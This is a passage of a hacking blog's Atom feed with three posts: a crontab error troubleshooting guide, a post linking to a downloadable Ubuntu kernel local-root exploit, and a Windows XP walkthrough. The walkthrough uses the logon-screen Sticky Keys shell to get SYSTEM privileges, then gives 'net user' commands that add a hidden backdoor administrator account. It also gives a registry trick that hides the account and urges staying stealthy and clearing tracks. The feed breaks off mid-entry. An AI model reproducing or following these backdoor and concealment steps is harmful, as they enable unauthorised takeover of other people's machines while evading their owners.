255, 51);"&gt;You can test by pressing SHIFT &gt;=5 times, and you will see a command window being opened. Its not of much use since the privilege of this shell is the Guest or the &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;no-admin only. &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;(We cannot use the following commands from the Guest account,unless we have the admin/system privilege, if you try to do that, you will see an error of type:)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_e-VL6LAQQaw/S9PBiTm4oaI/AAAAAAAAAKI/ZBHNRw51-74/s1600/adminadderror.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 202px;" src="http://3.bp.blogspot.com/_e-VL6LAQQaw/S9PBiTm4oaI/AAAAAAAAAKI/ZBHNRw51-74/s400/adminadderror.PNG" alt="" id="BLOGGER_PHOTO_ID_5463923568053625250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;To escalate the privilege,  restart you windows, but do not login to any account. And when you are  at the logon screen,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;press  the SHIFT key&gt;=5 times and boom, there you got you shell with SYSTEM  privileges.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Now you can add a new administrator account "hacked" with a password "hax0rpassw0rd" using the commands:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;net user hacked "hax0rpassw0rd" /add &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;net localgroup administrators hacked /add&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PBin5CEyI/AAAAAAAAAKQ/2TDAT8-Ejfs/s1600/addtheAccounts.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 200px;" src="http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PBin5CEyI/AAAAAAAAAKQ/2TDAT8-Ejfs/s400/addtheAccounts.PNG" alt="" id="BLOGGER_PHOTO_ID_5463923573498450722" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;And now you can logon to your new admin account now.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;You can also reset the administrator password, using the shell, but I wont recommend that for obvious reasons. Our job should be to stay as stealthy as possible.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Just install your software and clear your tracks. Wwith this SYSTEM privilege shell you can also see the files that execute before a user logs in.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Use the command tasklist for that and save the output in some file, for later viewing.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0); font-weight: bold;"&gt;How to stay stealthy.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 204, 0);"&gt;****************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Your new account can be easily seen in the Control Panel-&gt; User accounts and in the My Computer in the form of documents as well. This isnt a good sign.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_e-VL6LAQQaw/S9PBiD4G9EI/AAAAAAAAAKA/7jpILTbVDvk/s1600/accountAdded.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 266px; height: 298px;" src="http://4.bp.blogspot.com/_e-VL6LAQQaw/S9PBiD4G9EI/AAAAAAAAAKA/7jpILTbVDvk/s400/accountAdded.PNG" alt="" id="BLOGGER_PHOTO_ID_5463923563830899778" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;But we can hide our account to a certain extent.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Beware of the Registry, Dont mess around!&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Open the registry by regedit, and navigate to the Folder:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;HKEY_LOGON_MACHINE-&gt;Software-&gt;Microsoft-&gt;Windows NT-&gt;Current Version-&gt;WinLogon-&gt;SpecialAccounts-&gt;UserList&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Create a new &lt;span style="color: rgb(255, 255, 0);"&gt;DWORD &lt;/span&gt;value here, set the name as your newly added username, "hacked" in our example, and let the value be zero.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PBi5fBFPI/AAAAAAAAAKY/zinErQGgXgo/s1600/registry2.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 38px;" src="http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PBi5fBFPI/AAAAAAAAAKY/zinErQGgXgo/s400/registry2.PNG" alt="" id="BLOGGER_PHOTO_ID_5463923578221171954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This will stop the display of your user account in Control Panel-&gt;User accounts and in the My Computer documents.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;However for the expert eyes, your user directories can still be seen in "Documents and Settings" and through the command net user.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;So you may need to do some additional tasks, like removing your backdoor account entirely before leaving.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-6726559777951953157?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/6726559777951953157/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/04/getting-rootadministrator-on-windows-xp.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/6726559777951953157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/6726559777951953157'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/04/getting-rootadministrator-on-windows-xp.html' title='Getting root/administrator on a Windows XP'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PCMcUvNhI/AAAAAAAAAKw/CrMfZiEXbzk/s72-c/true.PNG' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-9012179651979885079</id><published>2010-04-06T12:58:00.000+05:30</published><updated>2010-05-26T21:30:48.156+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='getch linux'/><category scheme='http://www.blogger.com/atom/ns#' term='crontab tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Crontab'/><category scheme='http://www.blogger.com/atom/ns#' term='crontab -e'/><category scheme='http://www.blogger.com/atom/ns#' term='command'/><category scheme='http://www.blogger.com/atom/ns#' term='error'/><category scheme='http://www.blogger.com/atom/ns#' term='job'/><category scheme='http://www.blogger.com/atom/ns#' term='cron'/><category scheme='http://www.blogger.com/atom/ns#' term='&quot;/bin/sh: root: command not found&quot;'/><title type='text'>Crontab error "/bin/sh: root: command not found"</title><content type='html'>&lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;Crontab error "/bin/sh: root: command not found"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;********************************************************&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Today I struggled with making the crontab work on my system. I am using cron jobs for the first time.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Although I always wanted to understand how it works, esp as I heard that they are good for periodic backups.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;But it was quite frustrating for me to make it work, especially if you prefer to google without reading the man pages&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;thorougly. Let me just explain what I was trying to achieve and how the error got resolved. Now I realize I &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;could have saved a lot of time, had I read the man pages :(&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;But sometimes we are in a hurry and we are not at all interested in understanding how things work, but in &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;making it work as quickly as possible. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;For those who want a quick look at resolution of this error I would say,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;check your cron syntax:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;1. If you are making changes in a local cron file using crontab -e, the job entry should contain 6 fields (not the username)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;like this:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;* * * * * /home/build_auto/echo.sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;A wrong entry like this:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;* * * * * root /home/build_auto/echo.sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;would cause cron to interpret "root" as a command.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;THe syntax&lt;/span&gt; &lt;span style="color: rgb(255, 255, 0);"&gt;"* * * * * root /home/build_auto/echo.sh"&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; is valid for system crontab file &lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;/etc/crontab.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Most of the syntax related examples can be found by reading the man page for crontab files:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;man 5 crontab&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 153, 102);"&gt;Creating a simple cron job to run a shell script&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 153, 102);"&gt;***************************************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I am simply trying to create a cron job and which would execute a shell script for me at regular intervals.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;So first I read through a simple tutorial from where I learn about the basic syntax and the fields.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Now for my simple cron job, I create a simple shell script which will output some data in another text file.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;And for simplicity I would like to run it every minute. (so that I can quickly confirm how it works)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;So here is my simple shell script which will append a string ("test") to another text file (test.txt)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;echo.sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;#!/bin/sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;echo "test" &gt;&gt; /home/build_auto/test.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This way everytime the script echo.sh is executed, it will append a string "test" in a new line in test.txt. &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;So when our cron job executes perfectly i.e. every minute, we see "test" in every new line.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Say I save my echo.sh in a location :&lt;/span&gt; &lt;span style="color: rgb(255, 255, 0);"&gt;/home/build_auto/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Now you can add a cron job at two places:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;1. In the system cron file /etc/crontab&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;2. And in a new crontab file using the crontab command.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This file is will be stored in /var/spool/cron with the same name as the username.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0); font-weight: bold;"&gt;Editing the System cron file /etc/crontab&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This way is not advisable as you would be directly interfering with the system cron file which is required by cron daemon.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Still if you would like to add an entry, open /etc/crontab in an editor and add an entry like this:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;* * * * * root /home/build_auto/echo.sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;THere are seven fields seperated by spaces. For details on the fields read the man page.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The first field is for minute, second for hour, third for day of month, month, day of week, user account which will be used for execution and command name which is the full path of our shell script.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The *s indicate the job will be executed every minute, every hour and so on. Save the /etc/crontab and your job should execute every minute. There &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;is no need to do any service restart.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 153, 0);"&gt;Editing the user level crontab file using the crontab command&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The other way is to create a new crontab file using the option -e (edit) with crontab, which is mostly meant for non-root users. &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This file will have the same name as the username and can be found at the location: /var/spool/cron&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The crontab syntax is similar to the previous one, except that instead of 7 fields, there are only 6. The username is not required.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Create a new crontab file using the command:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;crontab -u root -e&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;or simply&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;crontab -e&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;and add an entry like this:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;* * * * * /home/build_auto/echo.sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Remember, no username here, the crontab command has already taken care of it through the -u option. (or through the current user if -u is omitted)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Save the file and now your cron script should be executed every minute.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Confirm your entry by listing down the crontab list for user root:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;99EP68903:/home/build_auto # crontab -u root -l&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;# DO NOT EDIT THIS FILE - edit the master and reinstall.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;# (/tmp/crontab.XXXXosSNdV installed on Mon Apr  5 22:03:11 2010)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;# (Cron version V5.0 -- $Id: crontab.c,v 1.12 2004/01/23 18:56:42 vixie Exp $)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;* * * * *  /home/build_auto/echo.sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;You can also see the same in the file /var/spool/cron/tabs/root.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0); font-weight: bold;"&gt;Making mistakes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;In case, as a noob you create an entry&lt;/span&gt; &lt;span style="color: rgb(255, 255, 0);"&gt;"* * * * * root /home/build_auto/echo.sh"&lt;/span&gt; &lt;span style="color: rgb(51, 255, 51);"&gt;using the crontab -e command, you will get mail error messages like this one:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;From root@linux.local  Mon Apr  5 22:01:01 2010&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;Return-Path: &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;X-Original-To: root&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;Delivered-To: root@linux.local&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;Received: by linux.local (Postfix, from userid 0)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;        id CC5ED320408; Mon,  5 Apr 2010 22:01:01 +0530 (IST)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;From: root@linux.local&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;To: root@linux.local&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;Subject: Cron &lt;root@99ep68903&gt; root  /home/build_auto/echo.sh&lt;/root@99ep68903&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;X-Cron-Env: &lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;SHELL=/bin/sh&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&lt;br /&gt;X-Cron-Env: &lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;HOME=/root&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&lt;br /&gt;X-Cron-Env:&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;PATH=/usr/bin:/bin&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;X-Cron-Env: &lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;LOGNAME=root&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;X-Cron-Env: &amp;lt;USER=root&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;Message-Id: &lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;20100405163101.cc5ed320408@linux.local&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;Date: Mon,  5 Apr 2010 22:01:01 +0530 (IST)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;Status: R&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;/bin/sh: root: command not found&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This can be misleading, and it can be easily misunderstood as if the cron is unable to locate /bin/sh. But in fact cron is trying to execute a command with the name "root", which does not exist.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This is because cron expects a command in the sixth field.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;After a few minutes, upon successful executions of the cronjob the test.txt should look like:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;99EP68903:/home/build_auto # cat test.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;test&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;test&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;test&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;test&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;test&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;test&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;test&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;And one more thing, ensure that in your shell script the PATH of all files resolves to absolute path, any relative path like ./test.txt would&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;resolve through the home directory of the user that is executing the cron job.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0); font-weight: bold;"&gt;#end of post  &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-9012179651979885079?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/9012179651979885079/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/04/crontab-error-binsh-root-command-not.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/9012179651979885079'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/9012179651979885079'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/04/crontab-error-binsh-root-command-not.html' title='Crontab error &quot;/bin/sh: root: command not found&quot;'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-8868206751740556901</id><published>2010-04-01T22:07:00.000+05:30</published><updated>2010-04-01T22:18:30.907+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='root on Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='hydra thc-hydra ubuntu 8.10 Intrepid Ibex brute force'/><category scheme='http://www.blogger.com/atom/ns#' term='kernel 2.6.27'/><category scheme='http://www.blogger.com/atom/ns#' term='local privilege escalation'/><title type='text'>Getting root on Ubuntu Intrepid Ibex</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;So this turns out to be the lamest posts of all time. When I am high I just run a list of kernel exploits to gain a local root on my Ubuntu.&lt;/span&gt;  &lt;span style="color: rgb(51, 255, 51);"&gt;A bit of uname here:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;uname -a&lt;/span&gt; &lt;span style="color: rgb(255, 255, 0);"&gt;Linux r00t3r 2.6.27-7-generic #1 SMP Fri Oct 24 06:42:44 UTC 2008 i686 GNU/Linux&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Download the exploit:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://inj3ct0r.com/sploits/836.rar"&gt;http://inj3ct0r.com/sploits/836.rar&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Result is in the screensh0t:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_e-VL6LAQQaw/S7TNV7Rmw3I/AAAAAAAAAJ4/F2dcS9nrllc/s1600/w00t.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 234px;" src="http://4.bp.blogspot.com/_e-VL6LAQQaw/S7TNV7Rmw3I/AAAAAAAAAJ4/F2dcS9nrllc/s400/w00t.png" alt="" id="BLOGGER_PHOTO_ID_5455210825224995698" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;As far as I remember it didnt work on kernel 2.6.31, Ubuntu 9.1&lt;/span&gt;.&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#end of p0st&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-8868206751740556901?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/8868206751740556901/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/04/getting-root-on-ubuntu-intrepid-ibex.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/8868206751740556901'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/8868206751740556901'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/04/getting-root-on-ubuntu-intrepid-ibex.html' title='Getting root on Ubuntu Intrepid Ibex'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_e-VL6LAQQaw/S7TNV7Rmw3I/AAAAAAAAAJ4/F2dcS9nrllc/s72-c/w00t.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-8981435597708000899</id><published>2010-03-21T12:28:00.000+05:30</published><updated>2010-03-21T12:51:18.956+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='wheelie'/><category scheme='http://www.blogger.com/atom/ns#' term='CBR 1000R'/><category 